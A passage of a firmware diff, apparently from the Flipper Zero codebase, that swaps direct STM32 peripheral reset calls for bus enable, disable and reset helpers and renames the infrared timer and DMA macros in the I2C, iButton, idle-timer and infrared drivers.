furi_hal_bus_enable(FuriHalBusI2C1); + LL_RCC_SetI2CClockSource(LL_RCC_I2C1_CLKSOURCE_PCLK1); FURI_CRITICAL_EXIT(); } else if(event == FuriHalI2cBusEventDeactivate) { - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusI2C1); } } @@ -58,17 +50,9 @@ FuriMutex* furi_hal_i2c_bus_external_mutex = NULL; static void furi_hal_i2c_bus_external_event(FuriHalI2cBus* bus, FuriHalI2cBusEvent event) { if(event == FuriHalI2cBusEventInit) { furi_hal_i2c_bus_external_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - FURI_CRITICAL_ENTER(); - LL_RCC_SetI2CClockSource(LL_RCC_I2C3_CLKSOURCE_PCLK1); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C3); - FURI_CRITICAL_EXIT(); bus->current_handle = NULL; } else if(event == FuriHalI2cBusEventDeinit) { furi_mutex_free(furi_hal_i2c_bus_external_mutex); - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C3); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C3); - FURI_CRITICAL_EXIT(); } else if(event == FuriHalI2cBusEventLock) { furi_check( furi_mutex_acquire(furi_hal_i2c_bus_external_mutex, FuriWaitForever) == FuriStatusOk); @@ -76,13 +60,11 @@ static void furi_hal_i2c_bus_external_event(FuriHalI2cBus* bus, FuriHalI2cBusEve furi_check(furi_mutex_release(furi_hal_i2c_bus_external_mutex) == FuriStatusOk); } else if(event == FuriHalI2cBusEventActivate) { FURI_CRITICAL_ENTER(); + furi_hal_bus_enable(FuriHalBusI2C3); LL_RCC_SetI2CClockSource(LL_RCC_I2C3_CLKSOURCE_PCLK1); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C3); FURI_CRITICAL_EXIT(); } else if(event == FuriHalI2cBusEventDeactivate) { - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C3); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusI2C3); } } diff --git a/firmware/targets/f7/furi_hal/furi_hal_ibutton.c b/firmware/targets/f7/furi_hal/furi_hal_ibutton.c index c8041c9f2..f8f7e4966 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_ibutton.c +++ b/firmware/targets/f7/furi_hal/furi_hal_ibutton.c @@ -1,14 +1,15 @@ #include #include #include +#include #include -#include #include #define TAG "FuriHalIbutton" #define FURI_HAL_IBUTTON_TIMER TIM1 +#define FURI_HAL_IBUTTON_TIMER_BUS FuriHalBusTIM1 #define FURI_HAL_IBUTTON_TIMER_IRQ FuriHalInterruptIdTim1UpTim16 typedef enum { @@ -49,9 +50,7 @@ void furi_hal_ibutton_emulate_start( furi_hal_ibutton->callback = callback; furi_hal_ibutton->context = context; - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(FURI_HAL_IBUTTON_TIMER); - FURI_CRITICAL_EXIT(); + furi_hal_bus_enable(FURI_HAL_IBUTTON_TIMER_BUS); furi_hal_interrupt_set_isr(FURI_HAL_IBUTTON_TIMER_IRQ, furi_hal_ibutton_emulate_isr, NULL); @@ -81,10 +80,7 @@ void furi_hal_ibutton_emulate_stop() { furi_hal_ibutton->state = FuriHalIbuttonStateIdle; LL_TIM_DisableCounter(FURI_HAL_IBUTTON_TIMER); - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(FURI_HAL_IBUTTON_TIMER); - FURI_CRITICAL_EXIT(); - + furi_hal_bus_disable(FURI_HAL_IBUTTON_TIMER_BUS); furi_hal_interrupt_set_isr(FURI_HAL_IBUTTON_TIMER_IRQ, NULL, NULL); furi_hal_ibutton->callback = NULL; diff --git a/firmware/targets/f7/furi_hal/furi_hal_idle_timer.h b/firmware/targets/f7/furi_hal/furi_hal_idle_timer.h index 36b45755a..e1ffb1b25 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_idle_timer.h +++ b/firmware/targets/f7/furi_hal/furi_hal_idle_timer.h @@ -1,9 +1,10 @@ #pragma once #include -#include #include -#include +#include + +#include // Timer used for tickless idle #define FURI_HAL_IDLE_TIMER_MAX 0xFFFF @@ -11,6 +12,7 @@ #define FURI_HAL_IDLE_TIMER_IRQ LPTIM1_IRQn static inline void furi_hal_idle_timer_init() { + furi_hal_bus_enable(FuriHalBusLPTIM1); // Configure clock source LL_RCC_SetLPTIMClockSource(LL_RCC_LPTIM1_CLKSOURCE_LSE); // There is a theoretical possibility that we need it @@ -41,7 +43,7 @@ static inline void furi_hal_idle_timer_start(uint32_t count) { static inline void furi_hal_idle_timer_reset() { // Hard reset timer // THE ONLY RELIABLE WAY to stop it according to errata - LL_LPTIM_DeInit(FURI_HAL_IDLE_TIMER); + furi_hal_bus_reset(FuriHalBusLPTIM1); // Prevent IRQ handler call NVIC_ClearPendingIRQ(FURI_HAL_IDLE_TIMER_IRQ); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_infrared.c b/firmware/targets/f7/furi_hal/furi_hal_infrared.c index 7b4f17084..c60db5f20 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_infrared.c +++ b/firmware/targets/f7/furi_hal/furi_hal_infrared.c @@ -1,14 +1,11 @@ #include -#include -#include "stm32wbxx_ll_dma.h" #include #include +#include -#include #include -#include +#include -#include #include #include @@ -27,13 +24,23 @@ (TIM_CCMR2_OC3PE | LL_TIM_OCMODE_FORCED_INACTIVE) /* Space time - force low */ /* DMA Channels definition */ -#define IR_DMA DMA2 -#define IR_DMA_CH1_CHANNEL LL_DMA_CHANNEL_1 -#define IR_DMA_CH2_CHANNEL LL_DMA_CHANNEL_2 -#define IR_DMA_CH1_IRQ FuriHalInterruptIdDma2Ch1 -#define IR_DMA_CH2_IRQ FuriHalInterruptIdDma2Ch2 -#define IR_DMA_CH1_DEF IR_DMA, IR_DMA_CH1_CHANNEL -#define IR_DMA_CH2_DEF IR_DMA, IR_DMA_CH2_CHANNEL +#define INFRARED_DMA DMA2 +#define INFRARED_DMA_CH1_CHANNEL LL_DMA_CHANNEL_1 +#define INFRARED_DMA_CH2_CHANNEL LL_DMA_CHANNEL_2 +#define INFRARED_DMA_CH1_IRQ FuriHalInterruptIdDma2Ch1 +#define INFRARED_DMA_CH2_IRQ FuriHalInterruptIdDma2Ch2 +#define INFRARED_DMA_CH1_DEF INFRARED_DMA, INFRARED_DMA_CH1_CHANNEL +#define INFRARED_DMA_CH2_DEF INFRARED_DMA, INFRARED_DMA_CH2_CHANNEL + +/* Timers definition */ +#define INFRARED_RX_TIMER TIM2 +#define INFRARED_DMA_TIMER TIM1 +#define INFRARED_RX_TIMER_BUS FuriHalBusTIM2 +#define INFRARED_DMA_TIMER_BUS FuriHalBusTIM1 + +/* Misc */ +#define INFRARED_RX_GPIO_ALT GpioAltFn1TIM2 +#define INFRARED_RX_IRQ FuriHalInterruptIdTIM2 typedef struct { FuriHalInfraredRxCaptureCallback capture_callback; @@ -91,8 +98,8 @@ static void furi_hal_infrared_tim_rx_isr() { static uint32_t previous_captured_ch2 = 0; /* Timeout */ - if(LL_TIM_IsActiveFlag_CC3(TIM2)) { - LL_TIM_ClearFlag_CC3(TIM2); + if(LL_TIM_IsActiveFlag_CC3(INFRARED_RX_TIMER)) { + LL_TIM_ClearFlag_CC3(INFRARED_RX_TIMER); furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); /* Timers CNT register starts to counting from 0 to ARR, but it is @@ -108,13 +115,13 @@ static void furi_hal_infrared_tim_rx_isr() { } /* Rising Edge */ - if(LL_TIM_IsActiveFlag_CC1(TIM2)) { - LL_TIM_ClearFlag_CC1(TIM2); + if(LL_TIM_IsActiveFlag_CC1(INFRARED_RX_TIMER)) { + LL_TIM_ClearFlag_CC1(INFRARED_RX_TIMER); furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); - if(READ_BIT(TIM2->CCMR1, TIM_CCMR1_CC1S)) { + if(READ_BIT(INFRARED_RX_TIMER->CCMR1, TIM_CCMR1_CC1S)) { /* Low pin level is a Mark state of INFRARED signal. Invert level for further processing. */ - uint32_t duration = LL_TIM_IC_GetCaptureCH1(TIM2) - previous_captured_ch2; + uint32_t duration = LL_TIM_IC_GetCaptureCH1(INFRARED_RX_TIMER) - previous_captured_ch2; if(infrared_tim_rx.capture_callback) infrared_tim_rx.capture_callback(infrared_tim_rx.capture_context, 1, duration); } else { @@ -123,13 +130,13 @@ static void furi_hal_infrared_tim_rx_isr() { } /* Falling Edge */ - if(LL_TIM_IsActiveFlag_CC2(TIM2)) { - LL_TIM_ClearFlag_CC2(TIM2); + if(LL_TIM_IsActiveFlag_CC2(INFRARED_RX_TIMER)) { + LL_TIM_ClearFlag_CC2(INFRARED_RX_TIMER); furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); - if(READ_BIT(TIM2->CCMR1, TIM_CCMR1_CC2S)) { + if(READ_BIT(INFRARED_RX_TIMER->CCMR1, TIM_CCMR1_CC2S)) { /* High pin level is a Space state of INFRARED signal. Invert level for further processing. */ - uint32_t duration = LL_TIM_IC_GetCaptureCH2(TIM2); + uint32_t duration = LL_TIM_IC_GetCaptureCH2(INFRARED_RX_TIMER); previous_captured_ch2 = duration; if(infrared_tim_rx.capture_callback) infrared_tim_rx.capture_callback(infrared_tim_rx.capture_context, 0, duration); @@ -143,62 +150,66 @@ void furi_hal_infrared_async_rx_start(void) { furi_assert(furi_hal_infrared_state == InfraredStateIdle); furi_hal_gpio_init_ex( - &gpio_infrared_rx, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedLow, GpioAltFn1TIM2); + &gpio_infrared_rx, + GpioModeAltFunctionPushPull, + GpioPullNo, + GpioSpeedLow, + INFRARED_RX_GPIO_ALT); + + furi_hal_bus_enable(INFRARED_RX_TIMER_BUS); LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Prescaler = 64 - 1; TIM_InitStruct.CounterMode = LL_TIM_COUNTERMODE_UP; TIM_InitStruct.Autoreload = 0x7FFFFFFE; TIM_InitStruct.ClockDivision = LL_TIM_CLOCKDIVISION_DIV1; - LL_TIM_Init(TIM2, &TIM_InitStruct); + LL_TIM_Init(INFRARED_RX_TIMER, &TIM_InitStruct); - LL_TIM_SetClockSource(TIM2, LL_TIM_CLOCKSOURCE_INTERNAL); - LL_TIM_DisableARRPreload(TIM2); - LL_TIM_SetTriggerInput(TIM2, LL_TIM_TS_TI1FP1); - LL_TIM_SetSlaveMode(TIM2, LL_TIM_SLAVEMODE_RESET); - LL_TIM_CC_DisableChannel(TIM2, LL_TIM_CHANNEL_CH2); - LL_TIM_IC_SetFilter(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_IC_FILTER_FDIV1); - LL_TIM_IC_SetPolarity(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_IC_POLARITY_FALLING); - LL_TIM_DisableIT_TRIG(TIM2); - LL_TIM_DisableDMAReq_TRIG(TIM2); - LL_TIM_SetTriggerOutput(TIM2, LL_TIM_TRGO_RESET); - LL_TIM_EnableMasterSlaveMode(TIM2); - LL_TIM_IC_SetActiveInput(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_ACTIVEINPUT_DIRECTTI); - LL_TIM_IC_SetPrescaler(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_ICPSC_DIV1); - LL_TIM_IC_SetFilter(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_IC_FILTER_FDIV1); - LL_TIM_IC_SetPolarity(TIM2, LL_TIM_CHANNEL_CH1, LL_TIM_IC_POLARITY_RISING); - LL_TIM_IC_SetActiveInput(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_ACTIVEINPUT_INDIRECTTI); - LL_TIM_IC_SetPrescaler(TIM2, LL_TIM_CHANNEL_CH2, LL_TIM_ICPSC_DIV1); + LL_TIM_SetClockSource(INFRARED_RX_TIMER, LL_TIM_CLOCKSOURCE_INTERNAL); + LL_TIM_DisableARRPreload(INFRARED_RX_TIMER); + LL_TIM_SetTriggerInput(INFRARED_RX_TIMER, LL_TIM_TS_TI1FP1); + LL_TIM_SetSlaveMode(INFRARED_RX_TIMER, LL_TIM_SLAVEMODE_RESET); + LL_TIM_CC_DisableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2); + LL_TIM_IC_SetFilter(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_IC_FILTER_FDIV1); + LL_TIM_IC_SetPolarity(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_IC_POLARITY_FALLING); + LL_TIM_DisableIT_TRIG(INFRARED_RX_TIMER); + LL_TIM_DisableDMAReq_TRIG(INFRARED_RX_TIMER); + LL_TIM_SetTriggerOutput(INFRARED_RX_TIMER, LL_TIM_TRGO_RESET); + LL_TIM_EnableMasterSlaveMode(INFRARED_RX_TIMER); + LL_TIM_IC_SetActiveInput(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_ACTIVEINPUT_DIRECTTI); + LL_TIM_IC_SetPrescaler(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_ICPSC_DIV1); + LL_TIM_IC_SetFilter(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_IC_FILTER_FDIV1); + LL_TIM_IC_SetPolarity(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_IC_POLARITY_RISING); + LL_TIM_IC_SetActiveInput(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_ACTIVEINPUT_INDIRECTTI); + LL_TIM_IC_SetPrescaler(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2, LL_TIM_ICPSC_DIV1); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, furi_hal_infrared_tim_rx_isr, NULL); + furi_hal_interrupt_set_isr(INFRARED_RX_IRQ, furi_hal_infrared_tim_rx_isr, NULL); furi_hal_infrared_state = InfraredStateAsyncRx; - LL_TIM_EnableIT_CC1(TIM2); - LL_TIM_EnableIT_CC2(TIM2); - LL_TIM_CC_EnableChannel(TIM2, LL_TIM_CHANNEL_CH1); - LL_TIM_CC_EnableChannel(TIM2, LL_TIM_CHANNEL_CH2); + LL_TIM_EnableIT_CC1(INFRARED_RX_TIMER); + LL_TIM_EnableIT_CC2(INFRARED_RX_TIMER); + LL_TIM_CC_EnableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH1); + LL_TIM_CC_EnableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH2); - LL_TIM_SetCounter(TIM2, 0); - LL_TIM_EnableCounter(TIM2); + LL_TIM_SetCounter(INFRARED_RX_TIMER, 0); + LL_TIM_EnableCounter(INFRARED_RX_TIMER); } void furi_hal_infrared_async_rx_stop(void) { furi_assert(furi_hal_infrared_state == InfraredStateAsyncRx); FURI_CRITICAL_ENTER(); - - LL_TIM_DeInit(TIM2); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); + furi_hal_bus_disable(INFRARED_RX_TIMER_BUS); + furi_hal_interrupt_set_isr(INFRARED_RX_IRQ, NULL, NULL); furi_hal_infrared_state = InfraredStateIdle; - FURI_CRITICAL_EXIT(); } void furi_hal_infrared_async_rx_set_timeout(uint32_t timeout_us) { - LL_TIM_OC_SetCompareCH3(TIM2, timeout_us); - LL_TIM_OC_SetMode(TIM2, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_ACTIVE); - LL_TIM_CC_EnableChannel(TIM2, LL_TIM_CHANNEL_CH3); - LL_TIM_EnableIT_CC3(TIM2); + LL_TIM_OC_SetCompareCH3(INFRARED_RX_TIMER, timeout_us); + LL_TIM_OC_SetMode(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_ACTIVE); + LL_TIM_CC_EnableChannel(INFRARED_RX_TIMER, LL_TIM_CHANNEL_CH3); + LL_TIM_EnableIT_CC3(INFRARED_RX_TIMER); } bool furi_hal_infrared_is_busy(void) { @@ -220,16 +231,16 @@ void furi_hal_infrared_async_rx_set_timeout_isr_callback( } static void furi_hal_infrared_tx_dma_terminate(void) { - LL_DMA_DisableIT_TC(IR_DMA_CH1_DEF); - LL_DMA_DisableIT_HT(IR_DMA_CH2_DEF); - LL_DMA_DisableIT_TC(IR_DMA_CH2_DEF); + LL_DMA_DisableIT_TC(INFRARED_DMA_CH1_DEF); + LL_DMA_DisableIT_HT(INFRARED_DMA_CH2_DEF); + LL_DMA_DisableIT_TC(INFRARED_DMA_CH2_DEF); furi_assert(furi_hal_infrared_state == InfraredStateAsyncTxStopInProgress); - LL_DMA_DisableIT_TC(IR_DMA_CH1_DEF); - LL_DMA_DisableChannel(IR_DMA_CH2_DEF); - LL_DMA_DisableChannel(IR_DMA_CH1_DEF); - LL_TIM_DisableCounter(TIM1); + LL_DMA_DisableIT_TC(INFRARED_DMA_CH1_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH2_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH1_DEF); + LL_TIM_DisableCounter(INFRARED_DMA_TIMER); FuriStatus status = furi_semaphore_release(infrared_tim_tx.stop_semaphore); furi_check(status == FuriStatusOk); furi_hal_infrared_state = InfraredStateAsyncTxStopped; @@ -237,7 +248,7 @@ static void furi_hal_infrared_tx_dma_terminate(void) { static uint8_t furi_hal_infrared_get_current_dma_tx_buffer(void) { uint8_t buf_num = 0; - uint32_t buffer_adr = LL_DMA_GetMemoryAddress(IR_DMA_CH2_DEF); + uint32_t buffer_adr = LL_DMA_GetMemoryAddress(INFRARED_DMA_CH2_DEF); if(buffer_adr == (uint32_t)infrared_tim_tx.buffer[0].data) { buf_num = 0; } else if(buffer_adr == (uint32_t)infrared_tim_tx.buffer[1].data) { @@ -249,13 +260,13 @@ static uint8_t furi_hal_infrared_get_current_dma_tx_buffer(void) { } static void furi_hal_infrared_tx_dma_polarity_isr() { -#if IR_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 - if(LL_DMA_IsActiveFlag_TE1(IR_DMA)) { - LL_DMA_ClearFlag_TE1(IR_DMA); +#if INFRARED_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 + if(LL_DMA_IsActiveFlag_TE1(INFRARED_DMA)) { + LL_DMA_ClearFlag_TE1(INFRARED_DMA); furi_crash(NULL); } - if(LL_DMA_IsActiveFlag_TC1(IR_DMA) && LL_DMA_IsEnabledIT_TC(IR_DMA_CH1_DEF)) { - LL_DMA_ClearFlag_TC1(IR_DMA); + if(LL_DMA_IsActiveFlag_TC1(INFRARED_DMA) && LL_DMA_IsEnabledIT_TC(INFRARED_DMA_CH1_DEF)) { + LL_DMA_ClearFlag_TC1(INFRARED_DMA); furi_check( (furi_hal_infrared_state == InfraredStateAsyncTx) || @@ -271,23 +282,23 @@ static void furi_hal_infrared_tx_dma_polarity_isr() { } static void furi_hal_infrared_tx_dma_isr() { -#if IR_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 - if(LL_DMA_IsActiveFlag_TE2(IR_DMA)) { - LL_DMA_ClearFlag_TE2(IR_DMA); +#if INFRARED_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 + if(LL_DMA_IsActiveFlag_TE2(INFRARED_DMA)) { + LL_DMA_ClearFlag_TE2(INFRARED_DMA); furi_crash(NULL); } - if(LL_DMA_IsActiveFlag_HT2(IR_DMA) && LL_DMA_IsEnabledIT_HT(IR_DMA_CH2_DEF)) { - LL_DMA_ClearFlag_HT2(IR_DMA); + if(LL_DMA_IsActiveFlag_HT2(INFRARED_DMA) && LL_DMA_IsEnabledIT_HT(INFRARED_DMA_CH2_DEF)) { + LL_DMA_ClearFlag_HT2(INFRARED_DMA); uint8_t buf_num = furi_hal_infrared_get_current_dma_tx_buffer(); uint8_t next_buf_num = !buf_num; if(infrared_tim_tx.buffer[buf_num].last_packet_end) { - LL_DMA_DisableIT_HT(IR_DMA_CH2_DEF); + LL_DMA_DisableIT_HT(INFRARED_DMA_CH2_DEF); } else if( !infrared_tim_tx.buffer[buf_num].packet_end || (furi_hal_infrared_state == InfraredStateAsyncTx)) { furi_hal_infrared_tx_fill_buffer(next_buf_num, 0); if(infrared_tim_tx.buffer[next_buf_num].last_packet_end) { - LL_DMA_DisableIT_HT(IR_DMA_CH2_DEF); + LL_DMA_DisableIT_HT(INFRARED_DMA_CH2_DEF); } } else if(furi_hal_infrared_state == InfraredStateAsyncTxStopReq) { /* fallthrough */ @@ -295,8 +306,8 @@ static void furi_hal_infrared_tx_dma_isr() { furi_crash(NULL); } } - if(LL_DMA_IsActiveFlag_TC2(IR_DMA) && LL_DMA_IsEnabledIT_TC(IR_DMA_CH2_DEF)) { - LL_DMA_ClearFlag_TC2(IR_DMA); + if(LL_DMA_IsActiveFlag_TC2(INFRARED_DMA) && LL_DMA_IsEnabledIT_TC(INFRARED_DMA_CH2_DEF)) { + LL_DMA_ClearFlag_TC2(INFRARED_DMA); furi_check( (furi_hal_infrared_state == InfraredStateAsyncTxStopInProgress) || (furi_hal_infrared_state == InfraredStateAsyncTxStopReq) || @@ -328,37 +339,40 @@ static void furi_hal_infrared_tx_dma_isr() { } static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cycle) { - LL_TIM_DisableCounter(TIM1); - LL_TIM_SetRepetitionCounter(TIM1, 0); - LL_TIM_SetCounter(TIM1, 0); - LL_TIM_SetPrescaler(TIM1, 0); - LL_TIM_SetCounterMode(TIM1, LL_TIM_COUNTERMODE_UP); - LL_TIM_EnableARRPreload(TIM1); + LL_TIM_DisableCounter(INFRARED_DMA_TIMER); + LL_TIM_SetRepetitionCounter(INFRARED_DMA_TIMER, 0); + LL_TIM_SetCounter(INFRARED_DMA_TIMER, 0); + LL_TIM_SetPrescaler(INFRARED_DMA_TIMER, 0); + LL_TIM_SetCounterMode(INFRARED_DMA_TIMER, LL_TIM_COUNTERMODE_UP); + LL_TIM_EnableARRPreload(INFRARED_DMA_TIMER); LL_TIM_SetAutoReload( - TIM1, __LL_TIM_CALC_ARR(SystemCoreClock, LL_TIM_GetPrescaler(TIM1), freq)); + INFRARED_DMA_TIMER, + __LL_TIM_CALC_ARR(SystemCoreClock, LL_TIM_GetPrescaler(INFRARED_DMA_TIMER), freq)); #if defined INFRARED_TX_DEBUG - LL_TIM_OC_SetCompareCH1(TIM1, ((LL_TIM_GetAutoReload(TIM1) + 1) * (1 - duty_cycle))); - LL_TIM_OC_EnablePreload(TIM1, LL_TIM_CHANNEL_CH1); + LL_TIM_OC_SetCompareCH1( + INFRARED_DMA_TIMER, ((LL_TIM_GetAutoReload(INFRARED_DMA_TIMER) + 1) * (1 - duty_cycle))); + LL_TIM_OC_EnablePreload(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1); /* LL_TIM_OCMODE_PWM2 set by DMA */ - LL_TIM_OC_SetMode(TIM1, LL_TIM_CHANNEL_CH1, LL_TIM_OCMODE_FORCED_INACTIVE); - LL_TIM_OC_SetPolarity(TIM1, LL_TIM_CHANNEL_CH1N, LL_TIM_OCPOLARITY_HIGH); - LL_TIM_OC_DisableFast(TIM1, LL_TIM_CHANNEL_CH1); - LL_TIM_CC_EnableChannel(TIM1, LL_TIM_CHANNEL_CH1N); - LL_TIM_DisableIT_CC1(TIM1); + LL_TIM_OC_SetMode(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1, LL_TIM_OCMODE_FORCED_INACTIVE); + LL_TIM_OC_SetPolarity(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1N, LL_TIM_OCPOLARITY_HIGH); + LL_TIM_OC_DisableFast(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1); + LL_TIM_CC_EnableChannel(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH1N); + LL_TIM_DisableIT_CC1(INFRARED_DMA_TIMER); #else - LL_TIM_OC_SetCompareCH3(TIM1, ((LL_TIM_GetAutoReload(TIM1) + 1) * (1 - duty_cycle))); - LL_TIM_OC_EnablePreload(TIM1, LL_TIM_CHANNEL_CH3); + LL_TIM_OC_SetCompareCH3( + INFRARED_DMA_TIMER, ((LL_TIM_GetAutoReload(INFRARED_DMA_TIMER) + 1) * (1 - duty_cycle))); + LL_TIM_OC_EnablePreload(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3); /* LL_TIM_OCMODE_PWM2 set by DMA */ - LL_TIM_OC_SetMode(TIM1, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_FORCED_INACTIVE); - LL_TIM_OC_SetPolarity(TIM1, LL_TIM_CHANNEL_CH3N, LL_TIM_OCPOLARITY_HIGH); - LL_TIM_OC_DisableFast(TIM1, LL_TIM_CHANNEL_CH3); - LL_TIM_CC_EnableChannel(TIM1, LL_TIM_CHANNEL_CH3N); - LL_TIM_DisableIT_CC3(TIM1); + LL_TIM_OC_SetMode(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3, LL_TIM_OCMODE_FORCED_INACTIVE); + LL_TIM_OC_SetPolarity(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3N, LL_TIM_OCPOLARITY_HIGH); + LL_TIM_OC_DisableFast(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3); + LL_TIM_CC_EnableChannel(INFRARED_DMA_TIMER, LL_TIM_CHANNEL_CH3N); + LL_TIM_DisableIT_CC3(INFRARED_DMA_TIMER); #endif - LL_TIM_DisableMasterSlaveMode(TIM1); - LL_TIM_EnableAllOutputs(TIM1); - LL_TIM_DisableIT_UPDATE(TIM1); - LL_TIM_EnableDMAReq_UPDATE(TIM1); + LL_TIM_DisableMasterSlaveMode(INFRARED_DMA_TIMER); + LL_TIM_EnableAllOutputs(INFRARED_DMA_TIMER); + LL_TIM_DisableIT_UPDATE(INFRARED_DMA_TIMER); + LL_TIM_EnableDMAReq_UPDATE(INFRARED_DMA_TIMER); NVIC_SetPriority(TIM1_UP_TIM16_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); NVIC_EnableIRQ(TIM1_UP_TIM16_IRQn); @@ -367,9 +381,9 @@ static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cyc static void furi_hal_infrared_configure_tim_cmgr2_dma_tx(void) { LL_DMA_InitTypeDef dma_config = {0}; #if defined INFRARED_TX_DEBUG - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->CCMR1); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR1); #else - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->CCMR2); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->CCMR2); #endif dma_config.MemoryOrM2MDstAddress = (uint32_t)NULL; dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; @@ -382,24 +396,25 @@ static void furi_hal_infrared_configure_tim_cmgr2_dma_tx(void) { dma_config.NbData = 0; dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM1_UP; dma_config.Priority = LL_DMA_PRIORITY_VERYHIGH; - LL_DMA_Init(IR_DMA_CH1_DEF, &dma_config); + LL_DMA_Init(INFRARED_DMA_CH1_DEF, &dma_config); -#if IR_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 - LL_DMA_ClearFlag_TE1(IR_DMA); - LL_DMA_ClearFlag_TC1(IR_DMA); +#if INFRARED_DMA_CH1_CHANNEL == LL_DMA_CHANNEL_1 + LL_DMA_ClearFlag_TE1(INFRARED_DMA); + LL_DMA_ClearFlag_TC1(INFRARED_DMA); #else #error Update this code. Would you kindly? #endif - LL_DMA_EnableIT_TE(IR_DMA_CH1_DEF); - LL_DMA_EnableIT_TC(IR_DMA_CH1_DEF); + LL_DMA_EnableIT_TE(INFRARED_DMA_CH1_DEF); + LL_DMA_EnableIT_TC(INFRARED_DMA_CH1_DEF); - furi_hal_interrupt_set_isr_ex(IR_DMA_CH1_IRQ, 4, furi_hal_infrared_tx_dma_polarity_isr, NULL); + furi_hal_interrupt_set_isr_ex( + INFRARED_DMA_CH1_IRQ, 4, furi_hal_infrared_tx_dma_polarity_isr, NULL); } static void furi_hal_infrared_configure_tim_rcr_dma_tx(void) { LL_DMA_InitTypeDef dma_config = {0}; - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->RCR); + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (INFRARED_DMA_TIMER->RCR); dma_config.MemoryOrM2MDstAddress = (uint32_t)NULL; dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; dma_config.Mode = LL_DMA_MODE_NORMAL; @@ -410,21 +425,21 @@ static void furi_hal_infrared_configure_tim_rcr_dma_tx(void) { dma_config.NbData = 0; dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM1_UP; dma_config.Priority = LL_DMA_PRIORITY_MEDIUM; - LL_DMA_Init(IR_DMA_CH2_DEF, &dma_config); + LL_DMA_Init(INFRARED_DMA_CH2_DEF, &dma_config); -#if IR_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 - LL_DMA_ClearFlag_TC2(IR_DMA); - LL_DMA_ClearFlag_HT2(IR_DMA); - LL_DMA_ClearFlag_TE2(IR_DMA); +#if INFRARED_DMA_CH2_CHANNEL == LL_DMA_CHANNEL_2 + LL_DMA_ClearFlag_TC2(INFRARED_DMA); + 